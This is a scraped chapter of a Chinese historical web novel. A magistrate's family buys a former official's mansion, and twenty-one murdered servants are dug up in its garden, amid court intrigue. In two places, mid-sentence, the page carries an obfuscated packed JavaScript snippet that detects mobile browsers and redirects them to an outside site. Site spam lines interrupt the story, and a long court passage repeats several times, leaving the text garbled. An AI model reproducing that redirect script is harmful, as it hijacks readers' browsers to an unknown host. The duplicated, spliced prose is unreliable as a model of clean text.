“顺天府是不是离拾春巷太远了,你路上花了多长时间?”孟晚只去过顺天府一次,当时也没有注意路程长远,只是刚才他摸着宋亭舟沉厚的外袍,发现触感冰凉,布料里外都已经彻底打透了。 盛京城的深秋就是和岭南不同,白天有日光还算温煦,早晚却冷的像入了冬,别说孟晚,连常金花都忘了气候不同。 宋亭舟端了杯清水喝,“骑马约莫一个时辰,早上路上行人少会更快一点。” “这么久?”常金花也很意外。不管是西梧府还是昌平府都不像盛京这么广大,中心地带的两个地址,竟然就要花费一个时辰吗?都快赶上西梧府从城中心到城门的距离了。 家里的经济大权都是孟晚把持,他当机立断的决定,“搬家吧,楚辞和阿砚都大了,拾春巷这座小院本来就有些住不下,我明日找顺天府附近的人牙子问问,起码要在入冬前搬家。” 北方的冬天不好熬,难受是其次,能把人冻坏是真的。正好他们的行李还有许多没来得及卸车,干脆早些买新宅,痛快拉过去还方便收拾。 常金花对于现在家里买宅子,买多大,是一点脾气也没有了,全凭孟晚做主。 宋亭舟知道孟晚是为了他上衙不受冷风侵扰,心尖流淌过一层暖流,比刚才喝的菌汤还能驱散寒气。他揉了揉孟晚手腕上莹白的皮肉,“不急于一时,一路奔波,你和娘先好好在家歇着。” 孟晚半靠在他身上,抬眼看他的时候眸子里装的都是彼此,“这有什么累的,总归我不能一家家去看,只管叫人寻了人牙子来家里,我看黄册敲定两三个再去细看即可。” 这 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 么多年一路走一路买,孟晚买房的经验已经相当丰富了。 他们又在常金花这里说了会儿话,黄叶过来说阿砚醒了,要了碗面条吃完连牙都没刷又睡了过去,还是黄叶拖着他的脑袋给他漱了口。方锦容和通儿那屋也差不多,没人出来用膳,都是在屋里对付了一口。 宋亭舟让常金花也早些休息,便将孟晚带到旁边他们的卧房里先添了件厚实的外袍。 “多年没回北方,差点忘了这边昼夜温差大。孟晚揉了揉微微泛红的鼻头。 宋亭舟跟着他的动作将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336340|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆在他的精巧笔直的鼻子上,果然是冰冰凉凉的,“厚衣服都带了吗?够不够穿?要提前准备出来。 孟晚放下手将其放到宋亭舟宽宽厚的手掌上暖着,“带了,但是可能不太厚,若是顺利找到宅子,我立即便找人订做厚衣,咱家布料不多了,正好买新料子、新棉花。 “好。宋亭舟紧紧地回握住他。 花园里的花都败落了,只剩下光秃秃的杆径还没收拾,孟晚救了根枯枝捏在手里,“乔主簿一家子和陶家的内眷都随我一起来了,他们不远千里过来跟随你,住宿问题我就包了,到时候咱们买宅子,把他们四家的也买下来。 宋亭舟姿态认真地同自家夫郎道谢,“劳晚儿费心了。虽说夫妻一体,但晚儿一心为他,不可不谢。 孟晚笑着摆摆手,“嘿嘿,小事,现在咱们家不差钱,人家养谋士花钱如流水,咱们只是提供个住处罢了,也不白给他们住,等三年后再将地契给他们分了。 宋亭舟停下脚步认真的盯着孟晚的眼睛,“如此已经很好了。 孟晚把手里的枯枝扔了,左右看了看周围环境,神秘兮兮地说:“锦容还要走,他把通儿送过来应该就离开了,咳咳……在暗处会接应他。 宋亭舟懂了他的意思,默契的换了个话题,“阿砚有通儿作伴也好,我同昭远问问京城里有没有品行良好的私塾。他岳父是江南大儒,没准在京城里也有人脉。 孟晚十分满意,“不错,这个年纪正应该好好读书识礼,怎么能在家瞎晃呢? 俩人饭后遛弯,边走边聊,在面积小巧的花园里绕了一圈又一圈。 宋亭舟宽大的袖子挡住了两人紧扣的手掌,两人相聚在一起,心安的又何止是孟晚。 第二天宋亭舟又是四更天就起来,孟晚 你的朋友正在书荒,快去帮帮他吧 迷迷糊糊地看着他赤色的身影出门,心想他一会儿绝对、立即、马上就买房子,大房子!学区房!!! 然而他起来正在陪常金花吃早饭的时候,门房月梅的丈夫柳大来禀告,说门口有位夫人和夫郎求见。 孟晚略微一想就猜到是谁,知道他们会来,却没想到来得这么早。 “快快将人请进来吧。” 又指使朱颜把早膳都撤下去,换成茶水果子摆在桌上,随后便立即出去迎人。 拾春巷的宅子只有二进,还是太小了,孟晚刚走到二进中堂,便见柳大引过来五人。 其中一个算是熟悉,正是祝泽宁之妻富佩兰,当日他们在柴郡的昏礼上第一次见,她带着两个大丫鬟和一位夫郎并排走进来。 兰娘身边的夫郎同孟晚和兰娘的年岁相仿,身形微胖,模样普通,一身的书卷气,走起路来不紧不慢,身边仅跟了个上了年岁的嬷嬷。 孟晚脸上挂着亲和的笑,“兰娘,淑慎嫂子,快请进。家里太乱,本该我去拜访你们的,反而让你们先登门,招待不周还请见谅。” 郑淑慎便是吴昭远的夫郎,和孟晚同龄,说起话来轻轻柔柔,带着点江南一带特有的婉转软糯,韵律感明显,缓慢而温吞。 后来常金花见过郑淑慎之后,与孟晚讲他说话像唱歌似的。 “既然你没和我们客气,我就不行礼了,还是先拜见宋家老夫人,咱们再坐下好好说话吧。”郑淑慎温柔的说。 兰娘同孟晚更熟一些,拉着他的手问:“自家人就别说那些客气话了,别看淑慎嫂子人温和,可以不是那等小心眼又多事的。我们俩来是看你这儿有没有缺得少的,我们能帮上些忙。” 孟晚心中一暖,领他们往常金花的屋里走去,“你要是这么说的话还真有,我家想换个离顺天府和皇宫都近些的宅子,你可有相熟的牙子?” “换宅子?”郑淑慎讶道。宋家刚入京就急着换宅子吗?他前后打量了一番拾春巷的宅子,五脏俱全,比他家置办的还齐全,他们家也是二进的小宅院,位置上还照拾春巷稍差一筹,不过离翰林院还算近些,附近的邻居都是翰林院的小官。 第6章 旧居 “过阵子冷了天寒地冻的,大郎早起不易,晚哥儿想让他住的离顺天府衙门近些。”常金花从她卧房出来,对兰娘和郑淑慎说。 两人忙对常金花行礼问安,长辈在场,再加上与孟晚本来就不大熟悉,两人多有拘谨。 “都到榻上去坐,我去看看阿砚和通儿,你们慢慢聊。”常金花自觉也没什么和她们二人聊的,还不如去看孙子。 兰娘是知道常金花出身农家,没那么多规矩,所以起身送了人便安心坐下。郑淑慎则略显不安,犹豫着问道:“我们没打扰老夫人休息吧?” 孟晚拉他坐下,“不打扰,我娘就是坐不住,咱们三家亲密,淑慎嫂子叫老夫人就显得生份了,唤声常婶我娘还爱听。” “琼娘怎么样了,阿寻治得可好?”后一句孟晚问的是兰娘。 提起女儿,兰娘脸上浮现一丝喜色,“怎么不好?比我在盛京找到所有大夫都可靠。说是按他的法子食补,慢慢调养,等养到十二三岁,保管什么药丸也不用吃了。我还没特意谢过你呢!” 孟晚笑道:“有法子制就好,提什么谢不谢的,往后常带琼娘过来串门,等天冷了她就不便出门了。”他和宋亭舟是把祝泽宁当弟弟的,祝三爷现在又和自己做生意,连糖坊都不顾,一心扑在驿站上东奔西跑。 兰娘之前混迹贵族圈子,见识算是有的,她本身也比旁的女娘胆大,郑淑慎则刚好相反,整个人柔柔弱弱,说话也慢条斯理。 他们二人认识许久,相互熟悉。孟晚长袖善舞,插在其中也不显突兀。晌午常金花亲自掌勺做了一桌席面,留两人在宋家用午膳。 饭后二人告辞离开,出了拾春巷大门后郑淑慎又上了兰娘的马车,“兰娘,你说我们今天没有烦扰到她们吧?” 之前宋亭舟一个汉子在家,家里又没有内眷在,她们俩不好上门,又怕宋家觉得怠慢,所以孟晚一回来,她们就一起过来露了面。 兰娘知道郑淑慎的性子,劝慰他道:“你就放心吧嫂子,这有什么的,常婶是农家人,没有那么多弯弯绕绕,晚哥儿也没有那么多讲究,他们如今着急买新宅子,等新宅子买好,我多带你过去认认门。” 自从和柴郡退婚后,兰娘就不再硬往权贵圈子挤了,旁人送帖子给她,她也是三回去一回,无聊是无聊,但轻松自在许多。后来吴昭远携郑淑慎入京后她又有了伴,孟晚回来她就更欢喜 了。 兰娘同郑淑慎说了些宋家的情况,郑淑慎回家后,吴昭远也同他讲了一些。之后两人又与孟晚见了几次,才算是熟悉起来。 孟晚手里有钱,买起宅子手到擒来,只是离皇城近的宅子不好买,买的人远比卖的人多。他也是百般考虑才选出来两座,第一座不管大小还是位置都正正好好,不是别的,正是第一任顺天府尹边大人曾经住过的宅院。 边大人在任十多年,宅子越扩越大,住的是足有五进的大宅,其内大小院落共有八座,大堂、仪门、曲径通幽,影壁、书房、花厅等,应有尽有。 宋亭舟身为三品朝臣,五进的房子是能买得,只是架深、梁栋、绘饰、房檐等各有规制,不可逾矩。边家曾经的宅子就和是为宋家量身定做一样。 只可惜是个凶宅。 刑部现在对边大人的死还没个说法,边家人也静悄悄的没有喧闹,把宅子低价转手给了牙行,一家子默不作声的回了老家。 这就是普通文官的缺点,家里在朝中的顶梁柱没了之后,一家子之前再花团锦簇都是一场空,迅速没落成普通乡绅。 也难怪从龙之功诱人,勋贵之家傲慢。 为了避免总是搬家,孟晚看的就是大房子,第二座宅院同样是五进大宅。 缺点是离皇宫没有边家近,骑马需半个时辰,而边家只要两刻钟,但离顺天府倒是很近,一刻钟的路程就到。 第二个缺点就是里面有些**,整座宅子都要大修。这点就很愁人,这么大的宅子,大修最快也要半年,他家又着急搬家,算来算去还是边家的宅子更合适。 “晚哥儿,要不咱们就买松雪巷的那座宅子吧?先修出来一座小院给大郎住着,我和阿砚小辞不着急搬家。”常金花做为相对迷信的古代人,有点接受不了住枉死之人的故居,总觉得心有疑忌。 “成,那咱们就定松雪巷的那座宅子,我叫人把人牙子喊过来签订契”既然有其他选择,孟晚也不想让常金花住的不舒心。 岂料等孟晚把人牙子叫过来,对方点头哈腰的说松雪巷那间宅子今早已经卖了。 “我昨日才去看过,那么大的一座宅子今早就卖出去了?” “孟夫郎,实在对不住,小的也是刚收到的消息。”盛京的宅子不缺人买,特别是三进的宅子最是紧俏,五进的虽然没有三进卖的快,但有钱人多的是 ,也是有买家的。 松雪巷的宅子虽然破了点,但是位置优越,之前一直闲置,也是最近才挂出来卖。 而且盛京的牙行又和别的地方不一样,房少买家多,房源大部分都在买家手里捏着,哪家牙行给的上价钱,就交给谁卖。松雪巷的宅子就是被另一个牙行的牙子给卖了。 难得空出来两座符合条件的大宅子,这就没办法了。孟晚无奈的看着常金花,“娘,不如就定兰翠巷边家这个吧,我去护国寺找些高僧来诵经祈福完咱们再住行吗?” 他们家人是不多,可从岭南带来的家什太多了,再加上皇上御赐的器物也都是大件,普通三进宅子都略显局促,也只能买边家这座宅子了。 决定了之后孟晚就快速敲定,过了房契和地契。这些都是孟晚亲自去办的,因为在顺天府的辖内,他去顺天府过契的时候宋亭舟这个府尹大人全程陪同,孟晚还受到了许多暗戳戳的注目礼。 “你回去办公吧,我回去找人收拾宅子,择个好日子咱们再搬家。”孟晚劝住送到顺天府门口的宋亭舟。 宋亭舟叮嘱,“那你回去小心些,别让蚩羽离你左右。” “大人放心,我定会保护好夫郎的!”蚩羽拍着胸脯保证,若不是他的孕痣就这样清清楚楚的生在额头上,蚩羽可比那些柔弱的文官健硕多了。 孟晚拿着崭新的地契回去,立即着手准备清扫房屋,找道士批搬家的好日子,再请护国寺的和尚提前到宅子里去诵经祈福。 他自己是不信鬼神之说的,但是能按常金花的心,花多少钱都值得。 一切准备妥当,从孟晚找牙行到最后搬家也不过用了一个半月的时间。 十一月中旬,天空飘荡着大片的雪花,宋家一大家子的人坐在马车上,浩浩荡荡的从拾春巷出来,在凌晨最冷的时候往新家走。 阿砚穿着厚重的棉衣,外面还套着件红狐皮做的斗篷,一个劲儿的往孟晚身上钻,“好冷啊阿爹,我脚都要冻掉了吧?” 常金花把自己怀里揣着的暖炉放到阿砚脚边,“马上就到新家了,再忍忍。” “通儿冷不冷?小叔的暖炉给你。”孟晚把自己的暖炉递给通儿。方锦容早在到盛京不久便悄悄的走了,通儿一觉醒来发现爹没了也十分淡定。 大家都习惯了。 通儿摇头拒绝,“小叔,你自己用吧 ,通儿不冷。”他确实不冷这会儿手脚都是热乎乎的。 阿砚哆哆嗦嗦,“阿爹,要不把雪狼叫进来吧,它还能给咱们暖暖。” 孟晚敲敲他脑袋,“咱们这一车人都够重了,雪狼那么大再进来,不得把马车给压散了?”他在岭南特制的车厢可不敢在盛京使唤,被扔在拾春巷的宅子里了。 阿砚被冻急眼了,又困又冷,忍不住碎碎念,“干嘛非要听那个道士的天不亮就搬家啊?我们中午来不是很好吗?” 孟晚看孩子都有点魔怔了,紧了紧他的,“别乱说,谁家搬家都是天不亮的时候走?就这一天,忍忍吧,等晌午阿爹带你和哥哥、通儿一起去外面酒楼吃顿好的怎么样?” 阿砚撇撇嘴,吸溜了一下鼻涕,“我才不要出去,外面冷**。” “夫郎,老夫人,咱们到了。”马车又行了两刻钟,终于到了兰翠巷。 门上的旧牌匾被取了下来,换上宋亭舟亲书的“京尹第”,简单明了。 宋亭舟把孟晚接下来,两人一人抱个孩子下来,楚辞则去搀扶常金花。他们慢慢吞吞的还没进门,雪狼就像一阵风一样钻了进去。 蚩羽跑进去追他,雪生慢悠悠的跟在后面。 因为搬得着急,宅子里面都没怎么大动,还是曾经的样子。应高僧建议,边大人的卧房被改成了佛堂,孟晚在庙里请了一尊观音菩萨的菩萨像供在里头。 别说,没请之前,孟晚觉得这座宅子挺正常的,请了之后,可能是心理作用,总觉得疑神疑鬼,后背发凉。 大家起的早,除了常金花年纪大了觉少和宋亭舟要上早朝外,其余人都困顿不已,纷纷都聚在常金花院里补觉。 仆人各司其职,搬东西的搬东西,烧火烧炭供主家取暖的也在忙活。宋亭舟换好朝服,在朝服外又罩了件黑色的大鳌,牵着马出去准备上朝。 “大人,您先别走!”蚩羽快速跑过来拦住宋亭舟,雪生也面色凝重。 宋亭舟的眼眸比此时的夜色还要深沉,他似乎意识到了什么,“出什么事了?” 雪生抬头看他,神色凝重,“雪狼在花园里挖出了死尸,而且不止一具。” 早朝照例平平无奇,各部汇报了些不痛不痒的事,最有争议的就是太子的下落和今年的几场战事。 禹国现如今的朝堂都是主和一派,武将 地位远远不及文臣高,出色的武将翻来覆去就那么几个,几乎全是定襄国公一派,剩下零星两个或是小门小户,或是忠毅侯一派,两者加在一起也不能与定襄国公匹敌。 都察院左都御史王瓒呈上了一份书信,“陛下,这是安南国主呈上的请和书,据上述所言,太子殿下并不在安南人手中,至于死在安南的传言更是无稽之谈。” 夏垣眼皮一跳,不动声色的看了定襄国公一眼,对方虽然年迈,但背影依旧高大稳健,稳如泰山。 收回视线,夏垣低头垂眸,冷眼旁观。 皇上看过由内侍奉上的信件后,沉默良久,不知是在想些什么。 许久之后,他才沉声开口:“太子乃国之储君,身份贵重,不论生死,都要尽快找到其行踪。” 他所坐的位置太高了,俯视众人,没人胆敢抬头对上圣目,更无从得知谈论太子行踪时,皇上此刻的表情。 “夏垣。” 夏垣手持笏板出列,“臣在。” 皇上沉声询问:“你之前说在安南亲眼所见太子尸首,眼下安南王说绝无此事,你如何辩驳。” 夏垣语气恭敬,面对皇上质疑,并无半点慌乱,“回陛下,臣当日确实亲眼所见棺椁中躺着身形与太子殿下极为相似的尸体,面目也与殿下一般无二,臣也不知此事为何,安南王如今为何又矢口否认。” 帝王又将目光移到武将里,“忠毅侯。” 忠毅侯从武将一行中出列,“臣在。” “你秦艽在钦州英勇杀敌,听说已与廉王联手斩杀了安南一名虎将。”帝王的声音威严且不易琢磨。 忠毅侯双手握于胸前,躬身低头回话,姿态恭敬,尽显臣服,“小儿愚钝,都是靠着廉王殿下的王爵之势才能斩敌。” “呵。” 皇上轻笑一声,离得极近的宫侍浑身汗**突然直立起来。 “安南王既以臣服,便让秦艽收兵,和廉王一起着手寻找太子的下落吧。” 忠毅侯回道:“臣,谨遵圣令。” 太子**都在暗自担忧,最前面的定襄国公始终不动如山。 偌大的朝堂一时间噤若寒蝉。 “顺天府尹何在?”皇上突然问道。 宫侍佝偻着背凑过去,“陛下,宋大人今早告了假。” 皇上稍显意外,“哦?为何?” 宫侍答:“说是他今日乔迁新居,居然从院子里挖出了二十一具尸体来。” “他新宅买到何处。” “回陛下,正是前任顺天府尹边大人的旧宅。” 地位远远不及文臣高,出色的武将翻来覆去就那么几个,几乎全是定襄国公一派,剩下零星两个或是小门小户,或是忠毅侯一派,两者加在一起也不能与定襄国公匹敌。 都察院左都御史王瓒呈上了一份书信,“陛下,这是安南国主呈上的请和书,据上述所言,太子殿下并不在安南人手中,至于死在安南的传言更是无稽之谈。” 夏垣眼皮一跳,不动声色的看了定襄国公一眼,对方虽然年迈,但背影依旧高大稳健,稳如泰山。 收回视线,夏垣低头垂眸,冷眼旁观。 皇上看过由内侍奉上的信件后,沉默良久,不知是在想些什么。 许久之后,他才沉声开口:“太子乃国之储君,身份贵重,不论生死,都要尽快找到其行踪。” 他所坐的位置太高了,俯视众人,没人胆敢抬头对上圣目,更无从得知谈论太子行踪时,皇上此刻的表情。 “夏垣。” 夏垣手持笏板出列,“臣在。” 皇上沉声询问:“你之前说在安南亲眼所见太子尸首,眼下安南王说绝无此事,你如何辩驳。” 夏垣语气恭敬,面对皇上质疑,并无半点慌乱,“回陛下,臣当日确实亲眼所见棺椁中躺着身形与太子殿下极为相似的尸体,面目也与殿下一般无二,臣也不知此事为何,安南王如今为何又矢口否认。” 帝王又将目光移到武将里,“忠毅侯。” 忠毅侯从武将一行中出列,“臣在。” “你秦艽在钦州英勇杀敌,听说已与廉王联手斩杀了安南一名虎将。”帝王的声音威严且不易琢磨。 忠毅侯双手握于胸前,躬身低头回话,姿态恭敬,尽显臣服,“小儿愚钝,都是靠着廉王殿下的王爵之势才能斩敌。” “呵。” 皇上轻笑一声,离得极近的宫侍浑身汗**突然直立起来。 “安南王既以臣服,便让秦艽收兵,和廉王一起着手寻找太子的下落吧。” 忠毅侯回道:“臣,谨遵圣令。” 太子**都在暗自担忧,最前面的定襄国公始终不动如山。 偌大的朝堂一时间噤若寒蝉。 “顺天府尹何在?”皇上突然问道。 宫侍佝偻着背凑过去,“陛下,宋大人今早告了假。” 皇上稍显意外,“哦?为何?” 宫侍答:“说是他今日乔迁新居,居然从院子里挖出了二十一具尸体来。” “他新宅买到何处。” “回陛下,正是前任顺天府尹边大人的旧宅。” 地位远远不及文臣高,出色的武将翻来覆去就那么几个,几乎全是定襄国公一派,剩下零星两个或是小门小户,或是忠毅侯一派,两者加在一起也不能与定襄国公匹敌。 都察院左都御史王瓒呈上了一份书信,“陛下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宫侍答:“说是他今日乔迁新居,居然从院子里挖出了二十一具尸体来。” “他新宅买到何处。” “回陛下,正是前任顺天府尹边大人的旧宅。” 地位远远不及文臣高,出色的武将翻来覆去就那么几个,几乎全是定襄国公一派,剩下零星两个或是小门小户,或是忠毅侯一派,两者加在一起也不能与定襄国公匹敌。 都察院左都御史王瓒呈上了一份书信,“陛下,这是安南国主呈上的请和书,据上述所言,太子殿下并不在安南人手中,至于死在安南的传言更是无稽之谈。” 夏垣眼皮一跳,不动声色的看了定襄国公一眼,对方虽然年迈,但背影依旧高大稳健,稳如泰山。 收回视线,夏垣低头垂眸,冷眼旁观。 皇上看过由内侍奉上的信件后,沉默良久,不知是在想些什么。 许久之后,他才沉声开口:“太子乃国之储君,身份贵重,不论生死,都要尽快找到其行踪。” 他所坐的位置太高了,俯视众人,没人胆敢抬头对上圣目,更无从得知谈论太子行踪时,皇上此刻的表情。 “夏垣。” 夏垣手持笏板出列,“臣在。” 皇上沉声询问:“你之前说在安南亲眼所见太子尸首,眼下安南王说绝无此事,你如何辩驳。” 夏垣语气恭敬,面对皇上质疑,并无半点慌乱,“回陛下,臣当日确实亲眼所见棺椁中躺着身形与太子殿下极为相似的尸体,面目也与殿下一般无二,臣也不知此事为何,安南王如今为何又矢口否认。” 帝王又将目光移到武将里,“忠毅侯。” 忠毅侯从武将一行中出列,“臣在。” “你秦艽在钦州英勇杀敌,听说已与廉王联手斩杀了安南一名虎将。”帝王的声音威严且不易琢磨。 忠毅侯双手握于胸前,躬身低头回话,姿态恭敬,尽显臣服,“小儿愚钝,都是靠着廉王殿下的王爵之势才能斩敌。” “呵。” 皇上轻笑一声,离得极近的宫侍浑身汗**突然直立起来。 “安南王既以臣服,便让秦艽收兵,和廉王一起着手寻找太子的下落吧。” 忠毅侯回道:“臣,谨遵圣令。” 太子**都在暗自担忧,最前面的定襄国公始终不动如山。 偌大的朝堂一时间噤若寒蝉。 “顺天府尹何在?”皇上突然问道。 宫侍佝偻着背凑过去,“陛下,宋大人今早告了假。” 皇上稍显意外,“哦?为何?” 宫侍答:“说是他今日乔迁新居,居然从院子里挖出了二十一具尸体来。” “他新宅买到何处。” “回陛下,正是前任顺天府尹边大人的旧宅。” 地位远远不及文臣高,出色的武将翻来覆去就那么几个,几乎全是定襄国公一派,剩下零星两个或是小门小户,或是忠毅侯一派,两者加在一起也不能与定襄国公匹敌。 都察院左都御史王瓒呈上了一份书信,“陛下,这是安南国主呈上的请和书,据上述所言,太子殿下并不在安南人手中,至于死在安南的传言更是无稽之谈。” 夏垣眼皮一跳,不动声色的看了定襄国公一眼,对方虽然年迈,但背影依旧高大稳健,稳如泰山。 收回视线,夏垣低头垂眸,冷眼旁观。 皇上看过由内侍奉上的信件后,沉默良久,不知是在想些什么。 许久之后,他才沉声开口:“太子乃国之储君,身份贵重,不论生死,都要尽快找到其行踪。” 他所坐的位置太高了,俯视众人,没人胆敢抬头对上圣目,更无从得知谈论太子行踪时,皇上此刻的表情。 “夏垣。” 夏垣手持笏板出列,“臣在。” 皇上沉声询问:“你之前说在安南亲眼所见太子尸首,眼下安南王说绝无此事,你如何辩驳。” 夏垣语气恭敬,面对皇上质疑,并无半点慌乱,“回陛下,臣当日确实亲眼所见棺椁中躺着身形与太子殿下极为相似的尸体,面目也与殿下一般无二,臣也不知此事为何,安南王如今为何又矢口否认。” 帝王又将目光移到武将里,“忠毅侯。” 忠毅侯从武将一行中出列,“臣在。” “你秦艽在钦州英勇杀敌,听说已与廉王联手斩杀了安南一名虎将。”帝王的声音威严且不易琢磨。 忠毅侯双手握于胸前,躬身低头回话,姿态恭敬,尽显臣服,“小儿愚钝,都是靠着廉王殿下的王爵之势才能斩敌。” “呵。” 皇上轻笑一声,离得极近的宫侍浑身汗**突然直立起来。 “安南王既以臣服,便让秦艽收兵,和廉王一起着手寻找太子的下落吧。” 忠毅侯回道:“臣,谨遵圣令。” 太子**都在暗自担忧,最前面的定襄国公始终不动如山。 偌大的朝堂一时间噤若寒蝉。 “顺天府尹何在?”皇上突然问道。 宫侍佝偻着背凑过去,“陛下,宋大人今早告了假。” 皇上稍显意外,“哦?为何?” 宫侍答:“说是他今日乔迁新居,居然从院子里挖出了二十一具尸体来。” “他新宅买到何处。” “回陛下,正是前任顺天府尹边大人的旧宅。” 第7章 奴仆 孟晚折腾了一个半月才搬好的家,凶宅就算了,如今又变成案发现场了。 刑部的人和顺天府尹的人将整个宅子都围了起来,起了个大早挨冻的阿砚,被迫又坐车回了拾春巷。 这孩子差点就崩溃了,孟晚从盛京城中数一数二的酒楼里买了两道招牌菜,才安抚住了他弱小的心灵。 “阿爹,咱们别搬家了,我看这座小宅子也挺好,一点也不挤,我就和通儿住一间屋子就够了。”阿砚吃饱喝足向孟晚挣扎说道。 “儿子,你以为我想折腾吗?”孟晚对阿砚动之以情晓之以理,“你爹天天早起上朝难道就容易,总不能他不说,咱们就不体谅吧?” “好吧,那这次可要找好了地方,你看宅子的时候就把雪狼给带上,别等都快搬家了又被他挖出东西来。”阿砚精准吐槽,听到孟晚呼吸一滞。 但他儿子说的又不无几分道理,真带着雪狼去看房吗?别人不会以为我有什么毛病吧? “大人,二十一人都已经挖出来了,仵作正在验尸,小辞和雪狼也在。”陶八向宋亭舟回禀道。 刑部侍郎曾士棋正与宋亭舟议事,闻言二人便联袂前往发现了尸体的花园。 刑部和顺天府的人都在场,乌泱泱围了一院子。 “大人,曾大人。”两名仵作已经将尸坑都清理完毕,说实话,这时候已经没什么可清理的了。 宋亭舟看着坑里一具具高度腐败的尸体,只余下几片还没溶解的布片和一些不易消散的筋骨和内脏,说是尸体都已经称不上了,白骨还差不多。 他眉头锁死,“这些人最少已经死去六七个月了。” “大人说的不错,这些死者应该已经被埋在此地七月。”仵作对两位上官行礼。 曾士棋问:“可还能查得出死因?” 楚辞对宋亭舟比划,“不是毒杀。” 那些死者的骨头是正常的白灰色,腐烂程度也是正常朽坏。 顺天府的仵作和刑部的仵作也商量过,特别是刑部的仵作,验尸经验丰富,他上前一步说道:“大人,这些死者的骨头上或多或少都有不同程度的受损,严重的就是头骨和颈骨,生前应当是被施暴凌虐过,若是排除毒杀的话,剩余原因应当是外力致死,或是窒息死亡。” 曾仕棋听后扭头对宋亭舟说:“宋大人,接下来还要劳烦你调查死者身份。” 宋亭舟捧起手来对他拱了拱,正色道:“既然是在顺天府辖内发现的尸体,查案追凶自然是本府的分内之责。” 他不管做什么事都很沉稳冷静,充满力度。在发觉死者们因为死期太长而不得身份后,便立即吩咐衙门里的人探查顺天府内失踪人口。 这二十一名死者即是被埋在了边家,边家就有重大嫌疑。另一边又要传唤之前守在边家宅子里的几个奴仆。 夜里又是忙到很晚回拾春巷,孟晚一边给他找干净衣裳换洗,一边抱怨道:“但凡是夏天也不必这么麻烦,盛京的有钱人多,宅子都被人占着呢,实在不行只能先买座小的暂住了,省得你天天往家跑。” 宋亭舟握住他的手,“晚儿,无碍的。只是我到初到盛京,很多事,很多利益关系尚且不甚明朗,你和娘平日要多加小心。” 孟晚阴谋论道:“不会是有人故意针对我们,然后提前把死尸埋到那里的吧?廉王的人。” 宋亭舟嘴角牵起一抹笑,“廉王的人又不知道我们在岭南的谋划,做什么布这个局?就为了给我们添些微不足道的小麻烦?” 他不像乐正崎那样五官锐利又深邃,眼是双眼皮,眉毛很浓郁,眼睫也是又黑又密,鼻子高挺,嘴唇不薄不厚,是那种中式传统帅哥。忽略他过于严肃的神态,是个长相很正气稳健的一张脸,这会儿笑起来眉舒目朗,温柔的不像话。 他们在一起这么多年,孟晚总觉得自己越来越被他吸引,无关外貌,他更爱对方内心里有隐忍至深的血性和冷漠又不乏温柔的性格。 孟晚托着下巴看他换衣,突然说出一句,“若是有一天真的出了什么事情,严重到你非要做什么事关于我的选择,我相信你,你也该相信我,万事以保全自己为先。” 宋亭舟系腰带的动作一顿,脑海里想的是当初孟晚随他去祝家受辱的情景。他紧紧地抿起双唇,脸色逐渐冷硬,“我如今已经身居高位,若还让你受委屈,枉为人夫。” 孟晚抱住他劲瘦的腰身,把脸埋在他怀里蹭了两下,“我就是说说,还有谁能让我受委屈啊。” 宋亭舟抱着他,脸色没有丝毫缓和,在这个官大一级能压死人的世道,不是做好官就能护家人无忧的。 在顺天府和刑部同时运作下,这二十一具无名尸体的身份很快敲定下来。 其中二十具都是边家的仆人,有男有女。 还有一具是边家的远亲,一个十六岁,正值妙龄的女娘。 这个结果,既让人惊讶,又在众人的预料之内。 埋在边家,不管是刑部还是宋亭舟,第一个想到的都是边家人。 躲在乡下老家的边家人被召回盛京,边夫人丧夫才半年,衣着素净,面容凄苦整个人苍老的不像话,丝毫不像半年前还意气风发的官夫人,反倒像是操劳了半生的乡下老妇。 “不知大人叫我这个未亡人回京,是有何吩咐。”边夫人一脸麻木的跪在顺天府的堂下,面前的高位曾经是她丈夫坐了十几年的位置。 宋亭舟单刀直入,“边家旧宅的花园里埋着二十一具尸首,边夫人是否知情?” 边夫人的眼皮跳了跳,随后面无表情的说:“民妇不知大人说的是什么意思,我家的宅子已经被牙行低价收上去了,与我们边家并无半点关系。” “边夫人,二十一条人命,总不会没有出路,既然都是你们边家的人,还请你配合一二。顺天府的官僚可能会念着边大人的旧情放你一马,但我这个被外调回来的官不会。”宋亭舟裹挟着寒冰的声音不高不低,因为堂中安静,甚至带了点点回音,压迫感由然而生,顺天府的公堂一瞬间像是地府里的阎王殿。 边夫人左右看看,堂中上到府丞,下至衙役,没有一个人敢与她对视,不由得苦笑出声,“当真是物是人非,人走茶凉……” 宋亭舟十分冷硬地打断她的话:“边夫人,公堂不是你追忆往昔的地方,这些人的死若是和边家无关,边家人自然可以安心回乡。” 面对不近人情步步紧逼的新任顺天府尹,边夫人倒吸了一口凉气。 夜里宋亭舟又是披着一身的风雪回家,楚辞都跟着劝他,让他留在府衙内休息,免得来回奔波。 “快了,这件案子说复杂复杂,说简单也很简单,等这件案子了了,我便每日早些下衙回来。”家人处在同一城,宋亭舟不愿独自住外头。 拾春巷的宅子小,大家吃饭的时候都聚在常金花这里吃,孟晚先端了碗姜汤给宋亭舟,见对方眉头都不皱一下的喝光才问道:“这么快?我还以为要波折一番。” “毕竟死者众多,刑部那边也插手了,而且听说已经抓到个疑犯。”宋亭舟拽他下来吃饭,常金花动了筷子,大家才跟着动。 刑部这个逃犯也很有意思,是自己送上门的,去的还不是顺天府,而是刑部衙门。 刑部是各地地方凶案、命案的上级,顺天府位置再特殊,审后的案件也要交给刑部审核。 总而言之,若是刑部定了案,就与顺天府没什么大关系了,剩下的就是刑部和大理寺的事。 说是这么说,可第二天一早宋亭舟却被人堵在了家门口。 